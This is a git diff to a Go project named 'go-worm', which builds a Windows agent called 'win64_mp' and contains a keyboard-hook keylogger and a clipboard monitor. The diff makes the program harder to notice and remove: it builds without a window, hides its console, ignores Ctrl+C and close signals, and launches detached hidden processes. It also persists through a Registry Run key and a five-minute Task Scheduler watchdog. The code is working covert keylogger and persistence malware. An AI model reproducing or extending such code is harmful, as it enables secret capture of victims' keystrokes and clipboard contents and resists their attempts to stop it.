diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 37968fb..fe51212 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -21,17 +21,19 @@ import ( ) type Agent struct { - addr string - root string - guard *instance.Guard - server *http.Server - startedAt time.Time + addr string + root string + guard *instance.Guard + server *http.Server + startedAt time.Time + stopOnInterrupt bool } // Config controls agent startup. Zero values use environment defaults. type Config struct { - ListenAddr string - Parallel bool + ListenAddr string + Parallel bool + StopOnInterrupt bool } func New(cfg Config) (*Agent, error) { @@ -40,8 +42,9 @@ func New(cfg Config) (*Agent, error) { addr = config.EnvOr("AGENT_ADDR", config.DefaultAddr) } a := &Agent{ - addr: addr, - startedAt: time.Now(), + addr: addr, + startedAt: time.Now(), + stopOnInterrupt: cfg.StopOnInterrupt, } if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" { resolved, err := files.CanonicalExistingPath(root) @@ -116,14 +119,16 @@ func (a *Agent) Serve() error { helpers.Log.Printf("win64_mp %s listening on http://%s", config.Version, a.addr) - ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) - defer stop() - helpers.Go("shutdown", func() { - <-ctx.Done() - shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second) - defer cancel() - _ = a.server.Shutdown(shutdownCtx) - }) + if a.stopOnInterrupt { + ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) + defer stop() + helpers.Go("shutdown", func() { + <-ctx.Done() + shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + _ = a.server.Shutdown(shutdownCtx) + }) + } if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) { return fmt.Errorf("serve: %w", err) diff --git a/lib/clipmon/clipmon.go b/lib/clipmon/clipmon.go index 0022393..75ccaaf 100644 --- a/lib/clipmon/clipmon.go +++ b/lib/clipmon/clipmon.go @@ -98,8 +98,12 @@ func Stop() { func emit(event Event) { event.Time = time.Now() + ch := events + if ch == nil { + return + } select { - case events <- event: + case ch <- event: default: // ponytail: drop when full } diff --git a/lib/install/install.go b/lib/install/install.go index de751a5..5073d8f 100644 --- a/lib/install/install.go +++ b/lib/install/install.go @@ -30,6 +30,7 @@ func Ensure() error { return err } if samePath(current, target) { + _ = syncStartup() return nil } diff --git a/lib/instance/args.go b/lib/instance/args.go new file mode 100644 index 0000000..e27d1ee --- /dev/null +++ b/lib/instance/args.go @@ -0,0 +1,21 @@ +package instance + +import "strings" + +func filterArgs(args []string) []string { + out := make([]string, 0, len(args)) + for _, arg := range args { + name := strings.TrimLeft(arg, "-/") + lower := strings.ToLower(name) + switch { + case lower == "background" || strings.HasPrefix(lower, "background="): + continue + case lower == "foreground" || strings.HasPrefix(lower, "foreground="): + continue + case lower == "ensure" || strings.HasPrefix(lower, "ensure="): + continue + } + out = append(out, arg) + } + return out +} diff --git a/lib/instance/args_test.go b/lib/instance/args_test.go new file mode 100644 index 0000000..377d7cd --- /dev/null +++ b/lib/instance/args_test.go @@ -0,0 +1,15 @@ +package instance + +import ( + "reflect" + "testing" +) + +func TestFilterArgsDropsLauncherFlags(t *testing.T) { + t.Parallel() + got := filterArgs([]string{"-ensure", "-background", "-foreground", "-addr", "0.0.0.0:5033"}) + want := []string{"-addr", "0.0.0.0:5033"} + if !reflect.DeepEqual(got, want) { + t.Fatalf("filterArgs() = %#v, want %#v", got, want) + } +} diff --git a/lib/instance/console_stub.go b/lib/instance/console_stub.go index 9832273..fa61e0d 100644 --- a/lib/instance/console_stub.go +++ b/lib/instance/console_stub.go @@ -3,3 +3,7 @@ package instance func HideConsole() {} + +func ShowConsole() {} + +func ProtectFromConsoleClose() {} diff --git a/lib/instance/console_windows.go b/lib/instance/console_windows.go index ad81acf..3810575 100644 --- a/lib/instance/console_windows.go +++ b/lib/instance/console_windows.go @@ -8,17 +8,27 @@ import ( ) var ( - kernel32 = syscall.NewLazyDLL("kernel32.dll") - procFreeConsole = kernel32.NewProc("FreeConsole") - user32 = syscall.NewLazyDLL("user32.dll") - procShowWindow = user32.NewProc("ShowWindow") + kernel32 = syscall.NewLazyDLL("kernel32.dll") + procFreeConsole = kernel32.NewProc("FreeConsole") + procGetConsoleWindow = kernel32.NewProc("GetConsoleWindow") + procSetConsoleCtrl = kernel32.NewProc("SetConsoleCtrlHandler") + procAllocConsole = kernel32.NewProc("AllocConsole") + procGetStdHandle = kernel32.NewProc("GetStdHandle") + user32 = syscall.NewLazyDLL("user32.dll") + procShowWindow = user32.NewProc("ShowWindow") + consoleCtrlCallback uintptr ) -const swHide = 0 +const ( + swHide = 0 + ctrlCEvent = 0 + ctrlBreakEvent = 1 + ctrlCloseEvent = 2 +) // HideConsole hides any console window and detaches from it. func HideConsole() { - hwnd, _, _ := kernel32.NewProc("GetConsoleWindow").Call() + hwnd, _, _ := procGetConsoleWindow.Call() if hwnd != 0 { _, _, _ = procShowWindow.Call(hwnd, swHide) } @@ -26,6 +36,35 @@ func HideConsole() { redirectStdioToNul() } +// ShowConsole allocates a console for -foreground when built as a GUI binary. +func ShowConsole() { + _, _, _ = procAllocConsole.Call() + hin, _, _ := procGetStdHandle.Call(^uintptr(9)) // STD_INPUT_HANDLE + hout, _, _ := procGetStdHandle.Call(^uintptr(10)) // STD_OUTPUT_HANDLE + herr, _, _ := procGetStdHandle.Call(^uintptr(11)) // STD_ERROR_HANDLE + os.Stdin = os.NewFile(hin, "stdin") + os.Stdout = os.NewFile(hout, "stdout") + os.Stderr = os.NewFile(herr, "stderr") +} + +// ProtectFromConsoleClose ignores Ctrl+C/Break/close so Task Scheduler and +// explorer do not kill the process when the flashed console goes away. +func ProtectFromConsoleClose() { + if consoleCtrlCallback == 0 { + consoleCtrlCallback = syscall.NewCallback(consoleCtrlHandler) + } + _, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1) +} + +func consoleCtrlHandler(ctrlType uintptr) uintptr { + switch uint32(ctrlType) { + case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent: + return 1 + default: + return 0 + } +} + func redirectStdioToNul() { nul, err := os.OpenFile("NUL", os.O_RDWR, 0) if err != nil { diff --git a/lib/instance/detach.go b/lib/instance/detach.go index 4cb903a..e8f383f 100644 --- a/lib/instance/detach.go +++ b/lib/instance/detach.go @@ -1,7 +1,6 @@ package instance import ( - "fmt" "os" "tea.chunkbyte.com/kato/go-worm/lib/config" @@ -9,7 +8,7 @@ import ( func Detach() error { if AlreadyRunning() { - return fmt.Errorf("agent already running") + return nil } exe, err := config.InstalledExe() if err != nil { diff --git a/lib/instance/ensure.go b/lib/instance/ensure.go index ccfa785..2667ddd 100644 --- a/lib/instance/ensure.go +++ b/lib/instance/ensure.go @@ -1,9 +1,18 @@ package instance -// EnsureRunning starts a detached agent if none is holding the mutex. +import ( + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +// EnsureRunning starts this host's agent if none is holding the mutex. +// Callers that can stay resident should run the agent in-process instead. func EnsureRunning() error { if AlreadyRunning() { return nil } - return Detach() + exe, err := config.InstalledExe() + if err != nil { + return err + } + return Launch(exe, nil) } diff --git a/lib/instance/launch_windows.go b/lib/instance/launch_windows.go index 7caba4d..38a232f 100644 --- a/lib/instance/launch_windows.go +++ b/lib/instance/launch_windows.go @@ -5,15 +5,13 @@ package instance import ( "os" "os/exec" - "strings" "syscall" "golang.org/x/sys/windows" - - "tea.chunkbyte.com/kato/go-worm/lib/config" ) -// Launch starts exe detached with no visible window or console IO. +// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps +// the child alive after the parent (e.g. a scheduled task) exits. func Launch(exe string, args []string) error { nul, err := os.OpenFile("NUL", os.O_RDWR, 0) if err != nil { @@ -26,33 +24,22 @@ func Launch(exe string, args []string) error { cmd.Stdout = nul cmd.Stderr = nul cmd.SysProcAttr = &syscall.SysProcAttr{ - HideWindow: true, - CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP, + HideWindow: true, + CreationFlags: windows.CREATE_NO_WINDOW | + windows.CREATE_NEW_PROCESS_GROUP | + windows.DETACHED_PROCESS, } - return cmd.Start() + if err := cmd.Start(); err != nil { + return err + } + return cmd.Process.Release() } // RestartSelf launches a fresh agent process (no mutex check). func RestartSelf() error { - exe, err := config.InstalledExe() + exe, err := os.Executable() if err != nil { return err } return Launch(exe, nil) } - -func filterArgs(args []string) []string { - out := make([]string, 0, len(args)) - for _, arg := range args { - name := strings.TrimLeft(arg, "-/") - lower := strings.ToLower(name) - switch { - case lower == "background" || strings.HasPrefix(lower, "background="): - continue - case lower == "foreground" || strings.HasPrefix(lower, "foreground="): - continue - } - out = append(out, arg) - } - return out -} diff --git a/lib/instance/mutex.go b/lib/instance/mutex.go index 3b66019..f879dcf 100644 --- a/lib/instance/mutex.go +++ b/lib/instance/mutex.go @@ -1,3 +1,5 @@ +//go:build windows + package instance import ( diff --git a/lib/instance/mutex_stub.go b/lib/instance/mutex_stub.go new file mode 100644 index 0000000..c9ccf3e --- /dev/null +++ b/lib/instance/mutex_stub.go @@ -0,0 +1,13 @@ +//go:build !windows + +package instance + +type Guard struct{} + +func Acquire() (*Guard, error) { + return &Guard{}, nil +} + +func AlreadyRunning() bool { return false } + +func (g *Guard) Close() {} diff --git a/lib/keylog/hook_windows.go b/lib/keylog/hook_windows.go index 3816a1f..cbf8d2c 100644 --- a/lib/keylog/hook_windows.go +++ b/lib/keylog/hook_windows.go @@ -146,28 +146,41 @@ func runHookThread(ready chan struct{}) error { func keyboardHookProc(code int, wParam, lParam uintptr) uintptr { if code >= 0 { - kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam)) - switch wParam { - case wmKeydown, wmSyskeydown: - if isModifierVK(kb.VkCode) { - hookMods.update(kb.VkCode, true) - } else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok { - select { - case hookEvents <- event: - default: - // ponytail: drop when full; upgrade path is larger buffer - } - } - case wmKeyup, wmSyskeyup: - if isModifierVK(kb.VkCode) { - hookMods.update(kb.VkCode, false) - } - } + handleHookEvent(wParam, lParam) } ret, _, _ := procCallNextHookEx.Call(0, uintptr(code), wParam, lParam) return ret } +func handleHookEvent(wParam, lParam uintptr) { + defer helpers.RecoverLog("keylog-callback") + kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam)) + switch wParam { + case wmKeydown, wmSyskeydown: + if isModifierVK(kb.VkCode) { + hookMods.update(kb.VkCode, true) + } else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok { + enqueueKey(event) + } + case wmKeyup, wmSyskeyup: + if isModifierVK(kb.VkCode) { + hookMods.update(kb.VkCode, false) + } + } +} + +func enqueueKey(event Event) { + ch := hookEvents + if ch == nil { + return + } + select { + case ch <- event: + default: + // ponytail: drop when full; upgrade path is larger buffer + } +} + func decodeKeyEvent(kb *kbdLLHookStruct, sysKey bool) (Event, bool) { injected := kb.Flags&llkhfInjected != 0 if injected && kb.VkCode == 0 && kb.ScanCode >= 32 && kb.ScanCode != 127 { diff --git a/lib/startup/startup.go b/lib/startup/startup.go index e381332..8a67ce4 100644 --- a/lib/startup/startup.go +++ b/lib/startup/startup.go @@ -1,3 +1,5 @@ +//go:build windows + package startup import ( @@ -67,5 +69,6 @@ func installedCommandLine() (string, error) { if err != nil { return "", err } - return `"` + exe + `" -background`, nil + // Registry Run requires quotes around a path that may contain spaces. + return `"` + exe + `"`, nil } diff --git a/lib/startup/stub.go b/lib/startup/stub.go new file mode 100644 index 0000000..842cc74 --- /dev/null +++ b/lib/startup/stub.go @@ -0,0 +1,11 @@ +//go:build !windows + +package startup + +func Enabled() bool { return false } + +func Enable() error { return nil } + +func Disable() error { return nil } + +func SyncInstalledPath() error { return nil } diff --git a/lib/startup/taskxml.go b/lib/startup/taskxml.go new file mode 100644 index 0000000..67a8a0f --- /dev/null +++ b/lib/startup/taskxml.go @@ -0,0 +1,70 @@ +package startup + +import ( + "encoding/xml" + "strings" +) + +const watchdogArg = "-ensure" + +// watchdogTaskXML builds a Task Scheduler 2.0 XML action with Command and +// Arguments as separate fields. Paths must not be wrapped in extra quotes — +// schtasks /TR quoting is what made the watchdog flash and exit. +func watchdogTaskXML(exe string) string { + exe = strings.Trim(exe, `"`) + var b strings.Builder + b.WriteString(``) + b.WriteByte('\n') + b.WriteString(``) + b.WriteString(`win64_mp watchdog`) + b.WriteString(``) + b.WriteString(`PT5Mfalse`) + b.WriteString(`2000-01-01T00:00:00`) + b.WriteString(`true`) + b.WriteString(``) + b.WriteString(``) + b.WriteString(`InteractiveToken`) + b.WriteString(`LeastPrivilege`) + b.WriteString(``) + b.WriteString(``) + b.WriteString(`IgnoreNew`) + b.WriteString(`false`) + b.WriteString(`false`) + b.WriteString(`true`) + b.WriteString(`false`) + b.WriteString(`true`) + b.WriteString(`true`) + b.WriteString(`true`) + b.WriteString(`PT0S`) + b.WriteString(`7`) + b.WriteString(``) + b.WriteString(``) + b.WriteString(``) + b.WriteString(xmlEscape(exe)) + b.WriteString(``) + b.WriteString(``) + b.WriteString(watchdogArg) + b.WriteString(``) + if dir := winDir(exe); dir != "" { + b.WriteString(``) + b.WriteString(xmlEscape(dir)) + b.WriteString(``) + } + b.WriteString(``) + return b.String() +} + +func xmlEscape(s string) string { + var b strings.Builder + _ = xml.EscapeText(&b, []byte(s)) + return b.String() +} + +func winDir(p string) string { + p = strings.TrimRight(p, `/\`) + i := strings.LastIndexAny(p, `/\`) + if i <= 0 { + return "" + } + return p[:i] +} diff --git a/lib/startup/taskxml_test.go b/lib/startup/taskxml_test.go new file mode 100644 index 0000000..3cc0fef --- /dev/null +++ b/lib/startup/taskxml_test.go @@ -0,0 +1,48 @@ +package startup + +import ( + "strings" + "testing" +) + +func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) { + t.Parallel() + exe := `C:\Users\John Doe\AppData\Roaming\win64_mp\win64_mp.exe` + xml := watchdogTaskXML(exe) + + if strings.Contains(xml, `"`+exe+`"`) || strings.Contains(xml, `\"`) { + t.Fatalf("task XML must not quote the executable (schtasks /TR quoting broke launch):\n%s", xml) + } + if !strings.Contains(xml, ""+exe+"") { + t.Fatalf("Command missing raw path:\n%s", xml) + } + if !strings.Contains(xml, "-ensure") { + t.Fatalf("Arguments missing -ensure:\n%s", xml) + } + if !strings.Contains(xml, "C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp") { + t.Fatalf("WorkingDirectory missing:\n%s", xml) + } + if !strings.Contains(xml, "PT0S") { + t.Fatalf("execution time limit must be unlimited so -ensure can stay as the agent") + } +} + +func TestWatchdogTaskXMLEscapesAmpersand(t *testing.T) { + t.Parallel() + exe := `C:\Users\A&B\win64_mp.exe` + xml := watchdogTaskXML(exe) + if !strings.Contains(xml, `C:\Users\A&B\win64_mp.exe`) { + t.Fatalf("expected escaped ampersand:\n%s", xml) + } +} + +func TestWatchdogTaskXMLStripsCallerQuotes(t *testing.T) { + t.Parallel() + xml := watchdogTaskXML(`"C:\win64_mp.exe"`) + if strings.Contains(xml, `"C:\win64_mp.exe"`) { + t.Fatalf("left quotes in XML:\n%s", xml) + } + if !strings.Contains(xml, "C:\\win64_mp.exe") { + t.Fatalf("Command not unquoted:\n%s", xml) + } +} diff --git a/lib/startup/watchdog.go b/lib/startup/watchdog.go index 6571392..d961978 100644 --- a/lib/startup/watchdog.go +++ b/lib/startup/watchdog.go @@ -1,10 +1,14 @@ +//go:build windows + package startup import ( "fmt" + "os" "os/exec" "strings" "syscall" + "unicode/utf16" "golang.org/x/sys/windows" @@ -16,8 +20,19 @@ func enableWatchdog() error { if err != nil { return err } - tr := fmt.Sprintf(`"%s" -ensure`, exe) - return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F") + tmp, err := os.CreateTemp("", "win64_mp-task-*.xml") + if err != nil { + return err + } + path := tmp.Name() + defer os.Remove(path) + if err := tmp.Close(); err != nil { + return err + } + if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil { + return err + } + return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F") } func disableWatchdog() error { @@ -41,3 +56,13 @@ func runSchtasks(args ...string) error { } return nil } + +func utf16LE(s string) []byte { + u := utf16.Encode([]rune(s)) + out := make([]byte, 0, 2+len(u)*2) + out = append(out, 0xFF, 0xFE) + for _, r := range u { + out = append(out, byte(r), byte(r>>8)) + } + return out +} diff --git a/main.go b/main.go index 9bb6fef..a92fc18 100644 --- a/main.go +++ b/main.go @@ -2,7 +2,7 @@ // // Build for Windows x64: // -// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe . +// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o win64_mp.exe . // // Runs headless by default. Use -foreground for a visible console (dev only). // Use -background to spawn a detached copy and exit the launcher. @@ -26,14 +26,29 @@ import ( var errAlreadyRunning = errors.New("agent already running") func main() { + defer func() { + if r := recover(); r != nil { + crashlog.RecordPanic(r) + helpers.Log.Printf("fatal panic: %v", r) + } + }() + background := flag.Bool("background", false, "spawn detached agent and exit") - ensure := flag.Bool("ensure", false, "start the agent if it is not already running") + ensure := flag.Bool("ensure", false, "run the agent if it is not already running") foreground := flag.Bool("foreground", false, "keep console visible (dev only)") skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory") parallel := flag.Bool("parallel", false, "allow running beside another agent instance") addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)") flag.Parse() + if *foreground { + instance.ShowConsole() + } else { + instance.ProtectFromConsoleClose() + instance.HideConsole() + _ = helpers.AttachLogFile() + } + if !*skipInstall { if err := install.Ensure(); err != nil { die(err, *foreground) @@ -41,29 +56,19 @@ func main() { } if *ensure { - if !*foreground { - instance.HideConsole() - _ = helpers.AttachLogFile() + if instance.AlreadyRunning() { + return } - if err := instance.EnsureRunning(); err != nil { - die(err, *foreground) - } - return - } - - if *background { + // Stay resident as the agent. Do not spawn another -ensure process: + // that child died with the scheduled task, which looked like a flash. + } else if *background { if err := instance.Detach(); err != nil { die(err, *foreground) } return } - if !*foreground { - instance.HideConsole() - _ = helpers.AttachLogFile() - } - - cfg := agent.Config{ListenAddr: *addr, Parallel: *parallel} + cfg := agent.Config{ListenAddr: *addr, Parallel: *parallel, StopOnInterrupt: *foreground} for { err := runAgent(cfg) if err == nil { diff --git a/scripts/build.sh b/scripts/build.sh index dd28a1f..e4528c3 100755 --- a/scripts/build.sh +++ b/scripts/build.sh @@ -4,5 +4,5 @@ set -euo pipefail cd "$(dirname "$0")/.." out="${1:-win64_mp.exe}" -GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o "$out" . +GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" . echo "built $out"